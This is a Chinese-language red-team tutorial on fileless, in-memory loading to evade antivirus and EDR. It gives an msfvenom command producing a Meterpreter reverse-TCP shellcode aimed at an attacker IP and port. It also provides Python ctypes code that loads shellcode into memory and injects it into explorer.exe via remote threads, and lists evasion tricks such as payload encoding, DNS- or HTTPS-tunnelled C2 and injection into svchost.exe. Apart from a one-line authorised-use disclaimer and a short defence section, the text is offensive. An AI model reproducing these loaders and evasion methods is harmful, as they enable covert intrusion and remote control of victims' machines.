一、从案例说起:某公司遭遇“无文件攻击”事件

黑客示意图

几个月前,一家全球知名企业遭遇了一场精心策划的网络攻击。攻击者成功绕过多层防御,侵入内网核心数据服务器。这次攻击最大的特点是:全程未留任何文件痕迹。攻击者利用内存加载技术,将恶意代码直接注入目标机器的内存,从而绕过传统的杀毒软件和EDR的检测。这种攻击方式被称为“无文件攻击(Fileless Attack)”,其核心技术之一就是内存加载免杀

作为红队,我们也会在授权的安全测试中使用类似技术,模拟这种攻击场景,帮助企业发现防御漏洞。本文将以实战为导向,深度解析内存加载免杀技术,展示完整攻击链,并提供可复现的代码示例。

---

二、内存加载的秘密:为什么能绕过杀毒软件?

传统杀毒软件的检测逻辑主要依赖两点:文件特征码扫描行为分析。而内存加载技术打破了这些规则:

文件特征码扫描的局限性

杀毒软件通常会扫描文件系统中的可执行文件,提取特征码进行对比。一旦恶意代码不在文件系统内,而是直接加载到内存中,这种特征码扫描就无用武之地。

行为分析的误判

EDR和杀毒软件的行为分析模块可以监控进程行为,识别异常活动。然而,攻击者可以通过伪装正常进程或注入合法进程,绕过行为检测。例如,将恶意代码加载到系统进程(如explorer.exe)内存中,EDR往往会认为这是正常行为。

内存加载技术的核心思路

内存加载免杀的核心是将恶意代码以非文件形式加载到目标内存。这可以通过以下几种方法实现:

  • 反射加载DLL:无需写入磁盘,直接加载到内存。
  • Shellcode注入:使用恶意的Shellcode直接操作进程内存。
  • 内存映射:利用API将恶意代码映射到内存。
  • 无文件执行:通过工具将整个二进制文件转化为内存执行。

接下来,我们搭建一个实战环境,展示如何使用内存加载技术构造免杀攻击。

---

三、搭建实验环境:目标和工具

环境清单

  • 攻击机:Kali Linux(安装Python、msfvenom、Cobalt Strike、Sliver等工具)
  • 目标机:Windows 10(开启Windows Defender和EDR工具,如CrowdStrike)
  • 工具包
  • Python脚本用于构造和加载Payload
  • msfvenom生成恶意Shellcode
  • PowerShell辅助执行

实验目标

  • 构造免杀恶意载荷:生成无法被EDR检测的载荷。
  • 通过内存加载注入目标进程:绕过文件系统检测。
  • 权限提升与横向移动:最终获取目标机关键权限。

---

四、Payload构造的艺术:绕过检测的Shellcode

首先,我们构造一个恶意载荷,并使用内存加载技术避免写入磁盘。这部分代码将生成一个反向Shell,并通过Python将其加载到目标内存。

生成Shellcode

使用msfvenom生成反向Shell的Shellcode:

<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -e x86/shikata_ga_nai</code></pre>

输出的Shellcode如下(部分内容已简化):

<pre><code class="language-c">unsigned char shellcode[] = &quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52&quot;;</code></pre>

Python加载Shellcode

接下来,我们使用Python将Shellcode加载到目标内存,并执行:

<pre><code class="language-python">import ctypes

定义Shellcode

shellcode = b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52&quot;

分配内存并写入Shellcode

ptr = ctypes.windll.kernel32.VirtualAlloc( 0, len(shellcode), 0x3000, 0x40 # 参数含义:内存分配、可执行权限 ) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))

执行Shellcode

ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)</code></pre>

代码分析

  1. VirtualAlloc:分配内存区域,设置为可读写执行权限。
  2. RtlMoveMemory:将Shellcode写入分配的内存。
  3. CreateThread:创建线程执行内存中的Shellcode。

这段代码会直接将Shellcode注入到内存并启动,避免任何文件落地。

---

五、实验实战:注入目标进程

为了进一步隐藏攻击行为,我们可以注入Shellcode到合法的目标进程(如explorer.exe)。以下是具体实现:

使用Python实现进程注入

<pre><code class="language-python">import ctypes import psutil

定义目标进程

target_process = &quot;explorer.exe&quot;

获取目标进程的PID

for proc in psutil.process_iter(): if proc.name() == target_process: pid = proc.pid break

打开目标进程

PROCESS_ALL_ACCESS = 0x1F0FFF handle = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)

分配内存并写入Shellcode

shellcode = b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52&quot; ptr = ctypes.windll.kernel32.VirtualAllocEx( handle, 0, len(shellcode), 0x3000, 0x40 ) ctypes.windll.kernel32.WriteProcessMemory(handle, ptr, shellcode, len(shellcode), None)

创建远程线程执行Shellcode

ctypes.windll.kernel32.CreateRemoteThread(handle, None, 0, ptr, None, 0, None)</code></pre>

代码要点

  1. OpenProcess:获取目标进程的句柄。
  2. VirtualAllocEx:在目标进程内存中分配可执行区域。
  3. WriteProcessMemory:将Shellcode写入目标进程内存。
  4. CreateRemoteThread:启动远程线程执行Shellcode。

黑客示意图

这样,恶意代码会在目标进程内存中运行,极大增加了免杀效果。

---

六、如何绕过EDR的层层监控?

虽然内存加载技术已经有效规避了文件检测,但EDR依然可能通过行为分析发现异常。以下是一些关键的绕过技巧:

技巧1:混淆Shellcode

利用编码器混淆Payload,例如使用msfvenom的shikata_ga_nai编码器或自写加密解码模块。

技巧2:隐藏通信流量

使用HTTPS协议或DNS隧道伪装C2通信,避免被流量分析发现。

技巧3:注入合法进程

选择杀毒软件认为“可信”的目标进程(如svchost.exe)进行注入。

技巧4:分离加载与执行

将Payload拆分为加载模块和执行模块,降低单模块被识别的概率。

---

七、个人经验总结:红队行动中的启示

黑客示意图

  1. 免杀是不断对抗的过程:杀毒软件和EDR在技术上不断进步,攻击者需要持续了解其检测逻辑并更新免杀策略。
  2. 内存加载技术并非万能:虽然内存加载可以绕过文件检测,但行为分析仍然是一个挑战,需配合流量伪装和进程隐藏。
  3. 合法使用技术:本文内容仅限授权安全测试,切勿用于非法用途。

---

八、检测与防御建议

为了应对内存加载免杀攻击,防御者可以采取以下措施:

  1. 进程行为监控:分析进程内存分配和线程创建行为。
  2. 流量分析:识别异常的C2通信。
  3. 启用内存保护:使用内存完整性检查工具(如Microsoft Defender Exploit Guard)。

---

通过本文的学习,你已经掌握了内存加载免杀技术的核心原理、实现方式以及绕过技巧。在红队行动中,这种技术是不可或缺的利器,同时也提醒防御者加强内存层面的检测能力!